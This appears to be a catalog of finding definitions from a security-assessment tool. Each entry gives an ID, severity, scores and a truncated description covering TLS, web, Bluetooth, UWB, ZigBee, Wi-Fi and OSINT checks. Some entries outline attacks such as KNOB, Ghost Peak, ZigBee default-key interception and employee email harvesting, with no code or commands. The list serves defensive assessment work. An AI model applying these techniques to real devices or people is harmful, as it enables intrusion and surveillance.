The DNS server discloses its version string via a CHAOS TXT query for version.bind.
3.7 CWE-200
SS-089 LOW Information Disclosure: Internal Hostname in SAN
The SSL/TLS certificate includes internal hostnames in its Subject Alternative Names, matching patterns like .local, .in...
3.7 CWE-200
SS3-025 LOW Information Disclosure: Web Server
The HTTP Server response header discloses the web server software and version (e.g. Apache/2.4.51 or nginx/1.23.0). This...
5.3 CWE-200
SS3-084 LOW Default Webpage Detected
The web server is serving a vendor or platform default welcome page (e.g., 'Apache2 Default Page', 'IIS Windows Server',...
3.1 CWE-200
SS3-097 LOW SSL/TLS Certificate: Long Duration
The TLS certificate has a validity period exceeding 398 days (approximately 13 months). Since September 2020, Apple, Goo...
3.1 CWE-295 CWE-326
SS3-098 LOW SSL/TLS Certificate: Missing SAN
The TLS certificate does not contain a Subject Alternative Name (SAN) extension. Since 2017, all major browsers require ...
3.1 CWE-295 CWE-326
SS3-101 LOW SSL/TLS Session: Long Duration
The TLS server allows session resumption with a session ticket lifetime or session cache timeout exceeding recommended l...
3.7 CWE-326 CWE-327
SS3-208 LOW FTP Brute Force Protection Not Detected
The FTP server did not exhibit rate limiting, account lockout, or connection throttling after multiple rapid failed logi...
5.3 CWE-307
SS3-211 LOW SSH Password Authentication Enabled
The SSH server accepts password-based authentication methods (password and/or keyboard-interactive) alongside public key...
3.7 CWE-307 CWE-521
AETHB-001 INFO KNOB Attack — Bluetooth Entropy Reduction
The Key Negotiation of Bluetooth (KNOB) attack allows an attacker in wireless range to force Bluetooth BR/EDR connection...
9.3 —
AETHB-002 INFO BIAS Attack — Bluetooth Impersonation and Authentication Bypass
The Bluetooth Impersonation Attack (BIAS) exploits weaknesses in the Bluetooth Classic (BR/EDR) legacy secure connection...
9.1 —
AETHB-003 INFO BLUFFS Attack — Forward Secrecy Broken in Bluetooth Sessions
BLUFFS (Bluetooth Forward and Future Secrecy) is a set of six attacks against the Bluetooth session establishment proced...
8.2 —
AETHB-004 INFO BLE Legacy Pairing — Crackable Temporary Key (TK)
Bluetooth Low Energy devices using the legacy pairing procedure (SMP v1) with Just Works or Passkey Entry methods are vu...
8.0 —
AETHB-005 INFO Bluetooth PIN Brute Force — Short PIN or Static Passkey
Bluetooth Classic devices using the legacy PIN-based pairing procedure (pre-SSP) or BLE devices using Passkey Entry with...
7.5 —
AETHB-006 INFO Unauthenticated GATT Characteristics — Sensitive Data Exposed Without Authentication
One or more GATT characteristics exposing sensitive data (e.g., health metrics, device configuration, credentials, telem...
6.5 —
AETHB-007 INFO GATT Write Without Response — Unauthenticated Command Injection
One or more GATT characteristics support the Write Without Response (ATT_WRITE_CMD) operation without requiring an authe...
6.8 —
AETHB-008 INFO BlueToolkit CVE Exploitation — Remote Code Execution via Known Bluetooth Stack CVE
The target Bluetooth device is running a firmware or Bluetooth stack version affected by one or more publicly known CVEs...
8.5 —
AETHB-009 INFO SDP Information Disclosure — Service Discovery Leaks Internal Service Information
The Bluetooth Service Discovery Protocol (SDP) on the target device responds to unauthenticated browse requests with det...
4.0 —
AETHB-010 INFO Bluetooth Eavesdropping — Passive Capture of Unencrypted BR/EDR Traffic
Bluetooth Classic (BR/EDR) traffic between the target and one or more paired devices was observed in cleartext or with a...
6.5 —
AETHB-011 INFO BLE Beacon Tracking — Static MAC Address Enables Persistent Device Tracking
The target BLE device broadcasts advertising packets containing a static or non-rotating public MAC address, allowing an...
3.7 —
AETHB-012 INFO Insecure BLE Pairing Mode — Just Works Pairing with No Authentication
The target BLE device accepts pairing using the Just Works association model, which provides no protection against man-i...
5.9 —
AETHB-013 INFO GATTacker MITM — BLE Man-in-the-Middle via Device Cloning
The target BLE device is susceptible to a man-in-the-middle attack using GATTacker, a tool that clones the GATT service ...
7.8 —
AETHB-014 INFO Bluetooth Denial of Service — ACL/SCO Flooding Causing Device Disconnect
The target Bluetooth device is susceptible to denial-of-service via rapid ACL connection request flooding, malformed SCO...
5.3 —
AETHB-015 INFO Firmware Extraction via JTAG/SWD — Physical Firmware Dump
The target Bluetooth device exposes an unprotected JTAG or SWD debug interface on the PCB that allows extraction of the ...
7.2 —
AETHER-029 INFO Internal Hosts Discovered via Post-Connection Port Scan
An nmap scan of the wireless subnet revealed live hosts and open services accessible to wireless clients. This establish...
— —
AETHER-CERT-006 INFO Server Certificate Uses Strong Modern Algorithm (Positive)
The RADIUS server certificate uses SHA-256 or stronger signature, RSA-2048 or stronger (or ECDSA), is signed by a recogn...
— —
AETHER-INFO-AP INFO AP Observed and Cataloged
An access point was observed during the wireless intelligence phase and recorded with its BSSID, SSID, channel, encrypti...
— —
AETHER-INFO-AUTH-TYPE INFO Authentication Type Classified
The advertised encryption and authentication mode for an SSID was classified into one of: OPEN, WEP, WPA2-PSK, WPA2-Ente...
— —
AETHER-INFO-CERT-CAPTURED INFO Server Certificate Captured From EAP Exchange
A server certificate presented during an EAP-TLS / PEAP / TTLS exchange was captured passively from observed wireless tr...
— —
AETHER-INFO-CHANNEL INFO Channel Allocation Observed
An AP's operating channel was observed during scanning. Recorded for spectrum-planning analysis and for documentation of...
— —
AETHER-INFO-CLIENT INFO Client Device Observed and Cataloged
A client (STA) device was observed associated to a target AP or actively probing for SSIDs. Catalogued with MAC, vendor ...
— —
AETHER-INFO-EAP-IDENTITY INFO EAP Outer Identity Observed
The outer (cleartext) EAP-Response/Identity value sent by a client at the start of an EAP exchange was observed. Recorde...
— —
AETHER-INFO-PROBE INFO Client Probe Request Observed
A client device sent a probe request asking for a specific SSID. Probed SSIDs reveal the client's Preferred Network List...
— —
AETHER-INFO-VENDOR INFO Vendor Identified via MAC OUI
The MAC OUI of an observed device was matched against the IEEE OUI database to identify the manufacturer and product lin...
— —
AETHER-MERAKI-001 INFO Meraki Infrastructure Identified
One or more wireless APs in scope identified as Cisco-Meraki by MAC OUI prefix or vendor-specific IE pattern. Contextual...
— —
AETHER-MERAKI-002 INFO Meraki Beacon IE Captured for Fingerprinting
The vendor-specific Information Element from a Meraki AP beacon was captured for offline fingerprinting / firmware-versi...
— —
AETHER-MERAKI-003 INFO Multiple SSIDs On Shared Physical AP
Multiple SSIDs share a common BSSID prefix, indicating they are virtual SSIDs on the same physical Meraki AP radio. If a...
— —
AETHER-MERAKI-004 INFO Meraki Systems Manager Domain Referenced in Client Traffic
Client DHCP/DNS probe analysis observed references to meraki.com, air-marshal.meraki.com, or Meraki Systems Manager enro...
— —
AETHU-001 INFO Ghost Peak Distance Reduction Attack
The Ghost Peak attack is a physical-layer distance reduction attack targeting IEEE 802.15.4z HRP UWB ranging. An attacke...
9.2 —
AETHU-002 INFO RTLS Management Console Default Credentials
The RTLS management console (Sewio RTLS Studio, Pozyx Creator, or equivalent) is accessible with factory-default credent...
9.8 —
AETHU-003 INFO Unauthenticated MQTT Broker
The MQTT broker used by the RTLS platform accepts connections on TCP port 1883 without requiring a username or password,...
8.6 —
AETHU-004 INFO RTLS Position Data Injection via MQTT
When the MQTT broker lacks authentication (or when credentials are weak and obtainable), an attacker can publish arbitra...
8.1 —
AETHU-005 INFO SQL Injection in RTLS Reporting Module
The RTLS web platform contains SQL injection vulnerabilities in reporting and analytics endpoints where user-supplied pa...
8.5 —
AETHU-006 INFO Unauthenticated RTLS REST API Endpoints
Multiple REST API endpoints in the RTLS management platform are accessible without any authentication token or session c...
7.5 —
AETHU-007 INFO UWB STS Key Weakness
The Scrambled Timestamp Sequence (STS) used by IEEE 802.15.4z HRP UWB to authenticate ranging frames is derived from a s...
7.8 —
AETHU-008 INFO Cleartext UWB Ranging Exchange
UWB ranging frames (Poll, Response, Final) are transmitted in IEEE 802.15.4z SP0 mode without STS or payload encryption,...
6.5 —
AETHU-009 INFO RTLS Anchor Firmware Update Without Signature Verification
The RTLS anchor firmware update mechanism accepts firmware images submitted via the management API or a dedicated OTA up...
7.9 —
AETHU-010 INFO MQTT Cleartext Credential Transmission
MQTT clients connecting to the RTLS broker transmit credentials (username and password) in cleartext over TCP port 1883 ...
6.8 —
AETHU-011 INFO RTLS Zone Boundary Bypass
By combining the Ghost Peak distance reduction technique (AETHU-001) with knowledge of zone boundary geometry extracted ...
7.6 —
AETHU-012 INFO Anchor RF Flooding / Denial of Service
The UWB channel used by the RTLS anchors can be saturated with high-rate UWB pulse transmissions from an attacker-contro...
5.8 —
AETHU-013 INFO RTLS Cross-Site Scripting (XSS) in Dashboard
The RTLS web dashboard reflects tag label values and custom metadata fields into the HTML page without adequate output e...
6.1 —
AETHU-014 INFO Insecure Direct Object Reference in RTLS API
The RTLS REST API uses sequential integer or predictable UUID identifiers for sensor records, tags, and user accounts, a...
6.5 —
AETHU-015 INFO Physical UWB Frame Injection
An attacker with physical access to the RF environment and an RF injection-capable device (e.g., a second DWM3000EVB wit...
7.4 —
AETHZ-001 INFO ZigBee Network Key Recovered via Join Intercept
Network encryption key intercepted during device join event, enabling full traffic decryption and authenticated injectio...
9.1 —
AETHZ-002 INFO Default Trust Center Link Key (TCLK) in Use
ZigBeeAlliance09 well-known TCLK is in use. Any attacker within RF range can decrypt the key transport frame sent during...
9.0 —
AETHZ-003 INFO ZigBee Network Key in Plaintext Configuration
Network key found in plaintext in Zigbee2MQTT or gateway configuration file. Any user or process with read access to the...
7.5 —
AETHZ-004 INFO ZigBee Replay Attack Successful
Replayed ZCL command frames accepted by target device. Frame counter validation is not enforced or the acceptance window...
7.4 —
AETHZ-005 INFO ZCL Command Injection Successful
Authenticated ZCL commands injected using recovered network key. Security-sensitive commands including door lock, alarm ...
9.6 —
AETHZ-006 INFO ZLL Touchlink Device Stolen
Target ZigBee Light Link device stolen and joined to an attacker-controlled network using the leaked ZLL Master Key. The...
9.0 —
AETHZ-007 INFO ZLL Touchlink Factory Reset Successful
ZLL touchlink factory reset command was accepted by the target device, removing it from its production network. This con...
7.5 —
AETHZ-008 INFO ZigBee Network Denial-of-Service Successful
ZigBee network disrupted via PAN-ID conflict flood or association flood. Devices were disconnected from the network or u...
6.5 —
AETHZ-009 INFO ZigBee Network Key Extracted from Device Firmware
Network or link key material extracted from ZigBee device firmware via JTAG debug interface or direct flash memory dump....
8.8 —
AETHZ-010 INFO ZigBee Join Window Permanently Open
The ZigBee coordinator's join permission window is permanently open, allowing any device to join the network at any time...
7.1 —
AETHZ-011 INFO Unauthenticated ZDO Enumeration
ZigBee Device Object (ZDO) enumeration reveals all endpoints, clusters, and device capabilities without requiring the Zi...
5.3 —
AETHZ-012 INFO Hardcoded ZigBee Credentials in Device Firmware
Hardcoded network key or link key found in device firmware binary via static analysis. The key is identical across all d...
9.3 —
AETHZ-013 INFO OTA Firmware Update Not Authenticated
Over-the-air firmware updates are accepted by the target device without cryptographic signature verification. An attacke...
8.2 —
AETHZ-014 INFO ZigBee Protocol Fuzzing Induced Device Crash
Malformed ZigBee protocol frames caused the target device to crash or become unresponsive. Fuzzing of IEEE 802.15.4 MAC ...
7.5 —
AETHZ-015 INFO ZLL Master Key Deployment Detected
Target network uses ZigBee Light Link (ZLL) with the publicly-leaked ZLL Master Key, exposing all touchlink commissionin...
9.0 —
BA-023 INFO ICMP Not Restricted
ICMP is permitted without source or destination restriction. While necessary for network diagnostics, unrestricted ICMP ...
3.7 —
BA-060 INFO Firewall Rule Blocks Known Malicious IP ({ip})
A firewall rule correctly denies traffic with a source or destination address that is flagged as KNOWN MALICIOUS by thre...
— —
DR-CRED-006 INFO Credential Exposure: Credential Manager Entries
Windows Credential Manager (Vault) contains stored credential entries. These may include web credentials, Windows creden...
— CWE-522
DR-CRED-008 INFO Credential Exposure: KeePass Database Found
KeePass password database files (.kdbx) were found on this system. While KeePass databases are encrypted, their presence...
— CWE-312
DR-SFT-011 INFO Software: Software Installed Without Version Information
Software packages are installed with no version information in the Windows registry. This prevents vulnerability assessm...
— CWE-1059
DR-SYS-004 INFO Patch Management: WSUS Not Configured
No Windows Server Update Services (WSUS) or equivalent centralized update management solution is configured for this end...
— CWE-16
DR-SYS-009 INFO System Hardening: TPM Not Available
No Trusted Platform Module (TPM) is available or the TPM is not in a ready state on this endpoint.
— CWE-693
DRIFT-001 INFO Wireless Reconnection Successful
The wireless interface successfully disconnected from and reconnected to the target SSID within the expected time window...
— —
DRIFT-002 INFO Wireless Reconnection Failed or Timed Out
The reconnect command was issued but the interface did not confirm association with the target SSID within the 20-second...
— —
DRIFT-003 INFO SSID Mismatch After Reconnect
After issuing the reconnect command for the target SSID, the interface associated with a different SSID. This may indica...
— —
DRIFT-004 INFO Wireless Interface Not Found
The specified or auto-detected wireless interface could not be found on the system. The tool is unable to perform any di...
— —
DRIFT-005 INFO Target Network Not Available
The interface is not currently associated with the expected SSID at the start of a cycle. The target network may be temp...
— —
DRIFT-006 INFO Cycle Completed Successfully
A full disconnect/reconnect cycle completed without error. Both the disconnect and reconnect commands succeeded, and the...
— —
DRIFT-007 INFO Maximum Cycle Count Reached
The configured maximum number of disconnect/reconnect cycles has been reached. The tool has exited normally.
— —
DRIFT-008 INFO Disconnect Command Returned Non-Zero Exit Code
The OS wireless disconnect command (iw, wpa_cli, nmcli, or airport) returned a non-zero exit code. The interface may not...
— —
DRIFT-009 INFO Reconnect Command Returned Non-Zero Exit Code
The OS wireless reconnect command returned a non-zero exit code. The network may not have been joined. This may indicate...
— —
DRIFT-010 INFO Dry-Run Cycle Completed (Simulated)
A cycle completed in dry-run mode. No actual wireless commands were issued. This confirms the timing logic and argument ...
— —
DRIFT-011 INFO Privilege Escalation Required for Wireless Commands
Wireless management commands (iw, nmcli, airport) require elevated privileges. The tool invokes these via sudo. If passw...
— —
DRIFT-012 INFO Interface Auto-Detection Fallback Used
The wireless interface was not explicitly specified. The tool fell back to parsing /proc/net/wireless or airport output ...
— —
FR-001 INFO Internal Redirect: Trailing Slash Mismatch
The server issued an internal redirect due to a trailing slash mismatch on the target URL. This may expose URL normaliza...
— —
FR-002 INFO HTTP Redirect to In-Scope URL
The target URL issues an HTTP redirect to another in-scope URL. Redirect chains may expose internal routing logic.
— —
FR-003 INFO HTTP Redirect to External URL
The target URL issues an HTTP redirect to an external domain. This could be leveraged in open redirect or phishing scena...
— —
FR-005 INFO WordPress license.txt Accessible
The WordPress license.txt file is publicly accessible. While not directly exploitable, it confirms a WordPress installat...
— —
FR-021 INFO WordPress Plugin Detected
WordPress plugin(s) confirmed via readme.txt enumeration. Version disclosure enables targeted CVE lookups. Plugin names ...
— CWE-200
FR-022 INFO WordPress Theme Detected
The active WordPress theme was detected via static asset paths. Theme identification aids in locating theme-specific vul...
— —
FR-025 INFO Robots.txt Discloses Hidden Paths
The robots.txt file contains Disallow directives that reveal hidden or sensitive application paths. These paths are ofte...
— —
FR-026 INFO Sitemap.xml Discovered
A sitemap.xml file was found. Sitemaps enumerate application URLs and can reveal non-linked endpoints and application st...
— —
FR-032 INFO GraphQL Endpoint Detected
A GraphQL endpoint was detected. GraphQL endpoints expose a queryable schema and may be subject to introspection, batchi...
— —
FR-161 INFO Screenshot Captured — Web Application Surface
A screenshot of the target web application was captured. This records the visual surface of the application for document...
— —
FR-162 INFO FFUF Directory/File Discovered
Content discovery via ffuf identified a directory or file not linked from the main application. Hidden paths may contain...
— —
FR-165 INFO Crawl — Undocumented Endpoint Discovered
Application crawling discovered an endpoint not listed in sitemap.xml, robots.txt, or API documentation. Undocumented en...
— —
FR-166 INFO Crawl — External Domain Reference Found
The application references external domains for resources (CDNs, third-party scripts, fonts). External dependencies intr...
— —
FR-167 INFO TLS Certificate Transparency Log Entry
Certificate Transparency logs reveal all certificates issued for the target domain and its subdomains. This information ...
— —
FR-194 INFO Lack of Security.txt File
The application does not have a security.txt file at /.well-known/security.txt. The security.txt standard (RFC 9116) all...
— —
FR-196 INFO CDN Active
A Content Delivery Network (CDN) was identified in front of the target via response headers or Server fingerprinting. TL...
— —
FR-197 INFO WAF / Edge Security Platform Active
A WAF or edge security platform was identified in front of the target via response headers or body signatures. WAF rules...
— —
FR-199 INFO WAF/CDN Session Termination Detected
The WAF or CDN revoked the authenticated session mid-scan (HTTP 401 or login redirect returned on root URL probe). Authe...
— —
FR-200 INFO WAF/CDN Challenge Page Active
The WAF or CDN is serving a JavaScript challenge or CAPTCHA page instead of real content. Automated probe results may be...
— —
FR-203 INFO Wildcard (*) Detected
A wildcard/catch-all response was detected — the server returns the same response for all unknown paths. Directory brute...
— 200 284
FR-204 INFO CMS Detected
A Content Management System (CMS) was identified from page source signatures, meta tags, or response headers. A known CM...
— 200 497
FR-205 INFO Web Structure Identified
The web application framework or structure type was classified (e.g., SPA, SSR Hybrid, Server-Rendered, Static HTML, API...
— —
FR-206 INFO Single Page Application Detected
A Single Page Application (SPA) was identified. Client-side routing and dynamic content loading may prevent traditional ...
— —
FR-213 INFO Unknown Header Identified
An unrecognised HTTP response header was identified. Custom or proprietary headers may disclose internal platform detail...
— —
FR-219 INFO Interesting Endpoint Discovered
An interesting URL or endpoint was discovered during crawling or discovery. The endpoint may expose sensitive functional...
— 200 284
FR-220 INFO Authenticated Interesting Endpoint
An interesting endpoint was discovered while authenticated. The endpoint may expose functionality that should be restric...
— 200 284
FR-225 INFO Web Files Downloaded
Downloadable files (e.g., backups, exports, documents) were identified on the web server. Downloadable files may contain...
— —
FR-226 INFO Web Screenshot Captured
A screenshot of the web application was captured using a headless browser. This provides visual context for the applicat...
— —
FR-228 INFO Non-Login Form Detected
A non-authentication form was detected in the application. Forms may be entry points for injection attacks, CSRF, or dat...
— 200
FR-229 INFO Login Page Detected
An authentication login page was identified. The login page is the primary target for brute-force, credential stuffing, ...
— 200
FR-230 INFO Application Identified at Login Page
The application technology or platform was identified from the login page appearance, form fields, or response headers. ...
— CWE-200
FR-231 INFO Authentication Method Identified
The authentication method used by the application was identified (e.g., form-based login, HTTP Basic, Digest, NTLM, Toke...
— CWE-200
FR-232 INFO Password Reset Endpoint Exposed
A password reset endpoint was identified. Password reset flows are frequently targeted for account takeover via insecure...
— 640
FR-233 INFO Active Session Management Interface Detected
An active session management interface was detected (e.g., a page showing currently active sessions). This interface may...
— —
FR-234 INFO File Upload Endpoint Detected
A file upload endpoint was detected. File upload functionality is a common attack vector for web shell upload, client-si...
— 200 284
FR-242 INFO WordPress Multisite Installation Detected
A WordPress Multisite installation was detected. Multisite installations have a larger attack surface as vulnerabilities...
5.3 200 548
FR-243 INFO WordPress Plugins Detected in Page Source
WordPress plugin names were identified from page source references to wp-content/plugins/. Known plugin names allow atta...
5.3 200 548
FR-244 INFO WordPress Parent Theme Detected
A WordPress parent theme was identified. Known theme names allow attackers to check for theme-specific CVEs and misconfi...
5.3 200 548
FR-251 INFO Discovery: SSL/TLS Certificate
TLS certificate identity and validity metadata was extracted including subject CN, issuer, Subject Alternative Names (SA...
— —
FR-259 INFO TLS Version Identified
The negotiated TLS protocol version was identified via a socket-level probe. This provides baseline TLS version context ...
5.9 CWE-326 CWE-327
FR-262 INFO SSL/TLS Grade
testssl.sh assigned an overall TLS grade to the target. The grade summarises the TLS configuration quality across protoc...
— —
FR-272 INFO Endpoint-Specific Security Header Found
A security header was found present on a specific endpoint but absent on the main application root. Inconsistent header ...
— 200 284
FR-304 INFO JWT Token Identified: Algorithm
A JWT token was identified in the application. The JWT header algorithm has been extracted for analysis.
— —
FR-319 INFO Concurrent Session Limit Enforced
The application enforces a concurrent session limit. When a new session is established, existing sessions are invalidate...
— —
FR-340 INFO WAF/CDN Possible Session Termination
An unexpected HTTP status was returned by the target, suggesting a possible session termination by WAF bot-detection heu...
— —
FR-414 INFO Load Balancer Detected: {_lb_label}
A load balancer, CDN, or reverse proxy was detected in front of the target application based on response headers, cookie...
— —
FR-428 INFO Missing Cross-Origin Isolation Header: {header}
One or more cross-origin isolation headers (COOP, COEP, CORP) are not set.
— CWE-346
FR-448 INFO API Endpoint Missing Rate Limiting
An API endpoint does not enforce rate limiting, responding to 10 rapid requests without throttling.
— CWE-770
FR-451 INFO GraphQL Field Duplication Not Limited
The GraphQL endpoint processes queries with many duplicated fields without limiting the result set.
— CWE-770
FR-465 INFO Outdated or Unnecessary Website Detected
The website shows indicators of being outdated, abandoned, or unnecessary: old copyright dates, 'under construction' tex...
— CWE-1104
FR-486 INFO TLS Certificate SAN Enumeration
The TLS certificate presented by the server contains multiple Subject Alternative Name (SAN) entries, revealing addition...
— CWE-200
FR-497 INFO Technology Stack Identified (Wappalyzer)
Webanalyze (Wappalyzer engine) identified the technology stack running on the target web application. Technologies detec...
— CWE-200
FR-498 INFO Hidden HTTP Parameters Discovered
arjun discovered hidden HTTP parameters that are not present in crawled forms, links, or visible page elements. These pa...
— CWE-200
FR-510 INFO Cookie Path Scoped to Root
Session cookies use Path=/ while the application resides at a subpath. Other applications on the same hostname can read ...
2.0 CWE-1275
GB-BT-001 INFO Bluetooth Device Discovered
A Bluetooth (BR/EDR or BLE) device was detected during zero-knowledge scanning, along with its advertising data (address...
— —
GB-BT-002 INFO BLE GATT Service Enumerated
The GATT server of a BLE device was enumerated without prior knowledge, revealing its services, characteristics, handles...
— CWE-200
GB-BT-003 INFO Classic Bluetooth SDP Service Enumerated
Classic Bluetooth (BR/EDR) SDP service records were enumerated (RFCOMM/L2CAP channels, profiles such as SPP/DUN/PAN).
— CWE-200
GB-BT-025 INFO LE Secure Connections Confirmed (Passively Uncrackable)
The device completed LE Secure Connections pairing (ECDH P-256), confirmed on the wire by the Pairing Public Key / DHKey...
— —
GB-BT-029 INFO Bluetooth Testing SKIPPED — No Adapter or Sniffer Available
No Bluetooth adapter or sniffer was selected/available for the instance, so Bluetooth/BLE testing was not performed.
— —
GB-CAN-001 INFO CAN Bus Frame Captured
CAN bus frames were captured from the device. Frame IDs and data payloads are documented for replay and fuzzing analysis...
— —
GB-CONF-001 INFO ARP / DHCP Traffic Reveals Network Configuration
Passive ARP or DHCP traffic captured during the ConfigDiscovery phase revealed network configuration details: default ga...
— —
GB-DISC-001 INFO Live Host Discovered
A host was confirmed active on the network by responding to one or more probe types (ICMP, TCP SYN, ARP, or UDP), expand...
— —
GB-DISC-002 INFO Open Port Discovered
A TCP or UDP port was confirmed open on the target host, indicating an exposed service that contributes to the overall n...
— —
GB-DISC-003 INFO Service Version Identified
A specific software version was identified from a service banner or nmap version detection. This information can be cros...
— —
GB-DISC-004 INFO DHCP Lease Assigned to Device
The device successfully obtained a DHCP lease from the gearbox DHCP server. The assigned IP address and MAC address are ...
— —
GB-DISC-007 INFO Discovery: Hostname Identified
A DNS hostname or NetBIOS name was resolved for a target IP address, providing a human-readable label for the host. Host...
— —
GB-HW-004 INFO EDID Information Disclosure
EDID data was successfully read, disclosing monitor model, serial number, manufacturer, and capabilities.
— —
GB-HW-005 INFO HDMI CEC Bus Device Enumeration
HDMI CEC bus enumeration was performed and active devices on the CEC bus were successfully identified without any authen...
— —
GB-LORA-001 INFO LoRa Transmission Detected
LoRa radio transmissions were captured on the device's regional ISM band (433/868/915 MHz) during passive scanning, incl...
— —
GB-LORA-002 INFO LoRaWAN Network Traffic Detected
LoRaWAN protocol traffic (Join and/or MAC data frames identifiable by their MHDR/FHDR structure and DevAddr) was identif...
— —
GB-LORA-010 INFO LoRa Testing SKIPPED — No SDR or LoRa Radio Available
Gearbox attempted LoRa / LoRaWAN assessment but no usable radio was available: either no hardware was selected, the LoRa...
— —
GB-RF-001 INFO Sub-GHz Signal Detected
An active sub-GHz (300-928 MHz) transmission from the device under test was detected and/or decoded during a zero-knowle...
— CWE-200
GB-RF-009 INFO Sub-GHz Testing SKIPPED — No SDR/Radio Hardware Available
No sub-GHz radio or host CLI toolchain was available for this instance, so 300-928 MHz RF testing was not performed and ...
— CWE-1120
GB-SC-001 INFO Smart Card Detected
A smart card was detected in a PC/SC reader during zero-knowledge scanning, along with its Answer-To-Reset (ATR).
— —
GB-SC-002 INFO Smart Card Reader Detected
A PC/SC (CCID) smart-card reader was enumerated on the test host, providing the contact/contactless channel used for car...
— —
GB-SC-003 INFO Smart Card ATR Fingerprinted
The card's Answer-To-Reset (ATR) was captured and analysed, disclosing the card platform, chip, and card operating syste...
— CWE-200
GB-SC-012 INFO SmartCard Testing SKIPPED — No PC/SC Reader or Tools Available
Smart-card testing was not performed because the required PC/SC toolchain (pcsc_scan / opensc-tool) or reader was unavai...
— —
GB-SERIAL-002 INFO Serial Console Baud Rate Identified
The serial port baud rate was auto-detected. The presence and configuration of a serial console is documented.
— —
GB-UWB-001 INFO UWB Device Detected
A UWB (IEEE 802.15.4z / 802.15.4a) device was detected during passive capture, along with the frame types observed (blin...
— —
GB-UWB-002 INFO UWB Testing SKIPPED — No Sniffer or UWB Hardware Available
Gearbox attempted UWB assessment but no UWB sniffer board was selected and no sniffer binary or capture file was availab...
— —
GB-WIFI-001 INFO Wi-Fi Network Discovered
An 802.11 access point was detected during zero-knowledge scanning, along with its beacon/RSN metadata (SSID, BSSID, cha...
— —
GB-WIFI-012 INFO Wi-Fi Testing SKIPPED — No Wireless Adapter or Toolkit Available
802.11 testing was not performed for this instance because no monitor-mode adapter was selected, a non-capture device (e...
— —
GB-ZW-001 INFO Z-Wave Device Detected
A Z-Wave network was detected during passive sub-GHz (868/908 MHz) capture, along with its cleartext frame header data (...
— —
GB-ZW-002 INFO Z-Wave Network Enumerated
The Z-Wave mesh was enumerated passively from cleartext frame headers, disclosing the HomeID, the set of NodeIDs, and th...
— CWE-200
GB-ZW-008 INFO Z-Wave S2 Secure Class Confirmed
The network was observed using the S2 Security_2 command class (CC 0x9F), which performs an ECDH (Curve25519) authentica...
— —
GB-ZW-010 INFO Z-Wave Testing SKIPPED — No SDR or Sniffer Available
Z-Wave testing was not performed because no SDR/sniffer was selected, no capture CLI was installed, or no Z-Wave traffic...
— —
OSIFT-001 INFO Discovery: Subdomain
A subdomain belonging to the target organisation was identified through passive or active enumeration (Amass, subfinder,...
— CWE-200
OSIFT-002 INFO Live Host Confirmed
A subdomain or IP address responded to HTTP/HTTPS probing (httpx) or ICMP/TCP and is confirmed to be serving traffic.
— CWE-200
OSIFT-018 INFO Employee Email Address Harvested
An employee email address was discovered via theHarvester, Hunter.io, LinkedIn, or public sources. Collected addresses s...
— CWE-200
OSIFT-019 INFO Web Technology Fingerprint
The technology stack of a live host was identified (Wappalyzer, httpx, whatweb): CMS, web framework, server software, Ja...
— —
OSIFT-024 INFO Certificate Transparency Log Entry
A certificate was found in CT logs (crt.sh, Certspotter, Facebook CT) for the target domain. The SAN/CN reveals subdomai...
— —
OSIFT-025 INFO ASN / IP Range Identified
The Autonomous System Number (ASN) and associated IP ranges for the target organisation were identified via BGP data and...
— CWE-200
OSIFT-026 INFO WHOIS Data Exposure
WHOIS records for the target domain revealed registrant contact details, nameserver names, registrar information, and re...
— —
OSIFT-027 INFO LinkedIn Employee Profile Enumerated
Employee names, titles, and organisational roles were enumerated from LinkedIn. This information supports spear-phishing...
— —
OSIFT-028 INFO Social Media Profile Linked to Employee
maigret discovered social media profiles (Twitter, GitHub, Reddit, etc.) linked to an employee username derived from the...
— —
OSIFT-034 INFO Cloud Service Provider Asset Identified
cloudlist or cdncheck identified assets hosted in cloud or CDN infrastructure (AWS, Azure, GCP, Cloudflare, Fastly, Akam...
— CWE-200
OSIFT-035 INFO SEC EDGAR Filing Data Found
Public SEC EDGAR filings for the target company revealed corporate structure, subsidiary entities, executive names, and ...
— —
OSIFT-036 INFO Third-Party / Supply Chain Domain Identified
Enumeration revealed domains or subdomains associated with third-party services, SaaS providers, or supply chain vendors...
— CWE-494
OSIFT-037 INFO Discovery: Email Address
One or more email addresses associated with the target organisation or its employees were harvested during OSINT enumera...
— CWE-200
OSIFT-038 INFO Discovery: IP Address
One or more IP addresses were mapped to the target organisation's assets through DNS resolution, certificate transparenc...
— CWE-200
OSIFT-040 INFO Phone Number Pattern Spotted
A pattern matching a telephone number (e.g., +1-555-867-5309, (800) 123-4567) was identified in publicly accessible web ...
— CWE-359 CWE-200
OSIFT-043 INFO DNS: DMARC record found
A DMARC (Domain-based Message Authentication, Reporting and Conformance) record was found for the domain. DMARC instruct...
— —
OSIFT-045 INFO nslookup forward lookup: {record_summary}
Forward DNS lookup enumeration was performed, revealing mail exchange (MX), name server (NS), text (TXT), and other DNS ...
— —
OSIFT-047 INFO DNS: A Record
A record maps a domain to an IPv4 address, revealing the IP infrastructure behind a hostname.
— —
OSIFT-048 INFO DNS: AAAA Record
AAAA record maps a domain to an IPv6 address, revealing dual-stack infrastructure.
— —
OSIFT-049 INFO DNS: MX Record
MX record identifies the mail servers responsible for accepting email for the domain.
— —
OSIFT-050 INFO DNS: NS Record
NS record identifies the authoritative nameservers for the domain.
— —
OSIFT-051 INFO DNS: TXT Record
TXT records contain arbitrary text data including SPF policies, DKIM keys, domain verification tokens, and service confi...
— —
OSIFT-052 INFO DNS: SOA Record
SOA record contains the primary nameserver, responsible party email, and zone serial/refresh parameters.
— —
OSIFT-053 INFO DNS: CNAME Record
CNAME record creates an alias from one domain to another canonical name.
— —
OSIFT-058 INFO GitHub Actions: Audit Complete — No Issues
gato completed a security audit of the target organization's GitHub Actions workflows and found no injection vulnerabili...
— —
OSIFT-061 INFO CDN/WAF Bypass: No Origin Exposure
hakoriginfinder scanned for the origin server IP behind the CDN/WAF and found no exposed origin IPs. The CDN/WAF appears...
— —
OSIFT-062 INFO Historical Endpoints Discovered
waymore discovered historical endpoints for the target domain across multiple web archive sources (Wayback Machine, Comm...
— CWE-200
OSIFT-066 INFO Document Metadata: Software Version Disclosed
exiftool extracted the software name and version from the Creator or Producer metadata field of a publicly accessible do...
— CWE-200
OSIFT-068 INFO Document Metadata: Email Address Leaked
exiftool extracted an email address from the metadata of a publicly accessible document. This email may belong to the do...
— CWE-200
OSIFT-070 INFO Document Metadata: Audit Summary
exiftool completed a metadata audit of publicly accessible documents found during reconnaissance. This finding summarize...
— —
